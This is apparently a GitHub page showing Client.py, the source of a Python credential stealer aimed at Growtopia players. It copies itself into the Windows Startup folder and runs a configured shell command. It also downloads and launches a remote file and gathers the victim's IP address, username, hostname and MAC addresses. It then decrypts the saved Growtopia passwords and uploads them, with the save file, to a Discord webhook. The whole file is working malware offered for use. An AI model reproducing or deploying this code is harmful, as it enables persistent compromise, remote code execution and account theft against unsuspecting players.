-
Notifications
You must be signed in to change notification settings - Fork 0
/
Client.py
348 lines (292 loc) · 10.9 KB
/
Client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
import os
import shutil
import socket
import sys
import tempfile
import time
from struct import unpack
import discord
import psutil
import requests
from discord_webhook import DiscordEmbed, DiscordWebhook
from requests.exceptions import Timeout
file_url = ""
command = ""
executable_name = ""
webhook_url = ""
wait_for_internet_connection = True
copy_executable_to_startup = True
def wait_internet_connection():
while True:
try:
socket.create_connection(("8.8.8.8", 53), timeout=10)
return True
except ConnectionError:
time.sleep(20)
pass
def get_country_code(ip):
try:
response = requests.get(f"https://ipinfo.io/{ip}/json", timeout=10)
data = response.json()
return data.get("country", "").lower()
except Exception as e:
print(f"Get country code error: {e}")
return None
def get_mac_addresses():
mac_addresses = {}
for interface_name, addrs in psutil.net_if_addrs().items():
for addr in addrs:
if addr.family == psutil.AF_LINK:
mac_addresses[interface_name] = addr.address
return mac_addresses
def get_ip():
try:
response = requests.get("https://httpbin.org/ip", timeout=10)
data = response.json()
ip_address = data["origin"]
return ip_address
except Exception as e:
print(f"get_ip: {e}")
return None
def get_username():
try:
return os.getlogin()
except Exception as e:
print(f"get_username: {e}")
return None
def get_hostname():
try:
return socket.gethostname()
except Exception as e:
print(f"get_hostname: {e}")
return None
def to_number(dest):
return dest if dest else 0
def get_string(arr, offs, length):
res = ""
for i in range(length):
res += chr(arr[i + offs])
return res
def get_decrypted_string(arr, offs, length, adv_char=False):
r_str = ""
for i in range(256):
ret_str = ""
is_valid = True
for j in range(length):
chra = to_number(arr[offs + j]) + i - j
if 31 < chra % 256 < 127:
ret_str += chr(chra % 256)
else:
is_valid = False
break
if is_valid:
r_str += ret_str + "<BR>"
return r_str
def get_float(arr, offs):
return unpack(
"f",
bytes(
[
to_number(arr[offs + 0]),
to_number(arr[offs + 1]),
to_number(arr[offs + 2]),
to_number(arr[offs + 3]),
]
),
)[0]
def get_int(arr, offs):
return unpack(
"I",
bytes(
[
to_number(arr[offs + 0]),
to_number(arr[offs + 1]),
to_number(arr[offs + 2]),
to_number(arr[offs + 3]),
]
),
)[0]
def get_save(path):
with open(path, "rb") as file:
data = file.read()
size = len(data)
increasor = 0
res = {}
if size < 9:
res["error"] = "This file is too small to be valid!"
return res
i = 4
while i < 10000:
increasor = 0
if to_number(data[i]) == 0 or i + 8 > size:
break
elif to_number(data[i]) == 1:
increasor = 4 + to_number(data[i + 4])
res[get_string(data, i + 8, to_number(data[i + 4]))] = get_float(
data, to_number(data[i + 4]) + i + 8
)
elif to_number(data[i]) == 2:
increasor = (
4
+ to_number(data[i + 4])
+ to_number(data[i + 8 + to_number(data[i + 4])])
)
ncach = get_string(data, i + 8, to_number(data[i + 4]))
vcach = ""
if ncach == "meta":
vcach = get_decrypted_string(
data,
i + 12 + to_number(data[i + 4]),
to_number(data[i + 8 + to_number(data[i + 4])]),
True,
)
elif ncach == "tankid_password":
vcach = get_decrypted_string(
data,
i + 12 + to_number(data[i + 4]),
to_number(data[i + 8 + to_number(data[i + 4])]),
)
else:
vcach = get_string(
data,
i + 12 + to_number(data[i + 4]),
to_number(data[i + 8 + to_number(data[i + 4])]),
)
res[ncach] = vcach
elif to_number(data[i]) == 5:
increasor = 4 + to_number(data[i + 4])
if to_number(data[to_number(data[i + 4]) + i + 8]) != 0:
vcach = "true"
else:
vcach = "false"
res[get_string(data, i + 8, to_number(data[i + 4]))] = vcach
elif to_number(data[i]) == 9:
increasor = 4 + to_number(data[i + 4])
res[get_string(data, i + 8, to_number(data[i + 4]))] = get_int(
data, to_number(data[i + 4]) + i + 8
)
i += 8 + increasor
return res
if __name__ == "__main__":
if wait_for_internet_connection:
print("Waiting for an internet connection...")
wait_internet_connection()
print("Internet connection established.")
startup_folder_path = os.path.join(
os.getenv("APPDATA"),
"Microsoft",
"Windows",
"Start Menu",
"Programs",
"Startup",
)
if copy_executable_to_startup:
try:
shutil.copy(sys.executable, startup_folder_path)
print("Copied to startup successful")
except Exception as e:
print(f"Startup error: {e}")
if command:
try:
os.system(command)
print("Command executed successfully")
except Exception as e:
print(f"Command error: {e}")
current_directory = os.getcwd()
if current_directory != startup_folder_path:
if file_url:
file_name = os.path.basename(f"{file_url}")
temp_directory = tempfile.gettempdir()
file_path = os.path.join(temp_directory, file_name)
try:
response = requests.get(file_url)
with open(file_path, "wb") as file:
file.write(response.content)
os.popen(f"start {file_path}")
print(f"Download successful, file started")
except Exception as e:
print(f"Download error: {e}")
if os.path.exists(file_path):
os.popen(f"start {file_path}")
print("File started")
ip_address = get_ip()
country_code = get_country_code(ip_address)
username = get_username()
hostname = get_hostname()
mac_addresses = get_mac_addresses()
grow_id = None
passwords = None
save_path = os.path.join(os.environ["LOCALAPPDATA"], "Growtopia", "save.dat")
while True:
if os.path.isfile(save_path):
file_size = os.path.getsize(save_path)
if file_size > 0:
result = get_save(save_path)
for key, value in result.items():
if key == "tankid_name":
if value != grow_id:
grow_id = value
print(f"GrowID: {grow_id}")
send = True
for key, value in result.items():
if key == "tankid_password":
if passwords != value.split("<BR>"):
passwords = value.split("<BR>")
password_str = ", ".join(passwords)
print(f"Passwords: {password_str}")
send = True
for key, value in result.items():
if key == "rid":
rid = value
mac_addresses = get_mac_addresses()
if send is True:
send = False
webhook = DiscordWebhook(url=webhook_url)
webhook.timeout = 30
embed = DiscordEmbed(
title=f":flag_{country_code}: {ip_address} {username}@{hostname}",
color=discord.Color.dark_blue().value,
)
embed.add_embed_field(
name=":bust_in_silhouette: GrowID",
value=f"```{grow_id}```",
inline=False,
)
embed.add_embed_field(
name=f":key: Passwords Count",
value=f"```{len(passwords)}```",
inline=False,
)
embed.add_embed_field(
name=":identification_card: RID", value=f"```{rid}```"
)
if mac_addresses:
embed.add_embed_field(
name=":pencil: MAC Addresses",
value=f"```{mac_addresses}```",
inline=False,
)
try:
temp_directory = tempfile.gettempdir()
with open(save_path, "rb") as f:
webhook.add_file(file=f.read(), filename="save.dat")
with open(
f"{temp_directory}/{hostname}_passwords.txt", "w"
) as file:
for password in passwords:
file.write(password + "\n")
with open(
f"{temp_directory}/{hostname}_passwords.txt", "rb"
) as file:
webhook.add_file(
file=file.read(), filename=f"{hostname}_passwords.txt"
)
except Exception as e:
print(f"Adding files error: {e}")
webhook.add_embed(embed)
try:
response = webhook.execute()
except ConnectionError as e:
send = True
print(f"Webhook error: {e}")
time.sleep(10)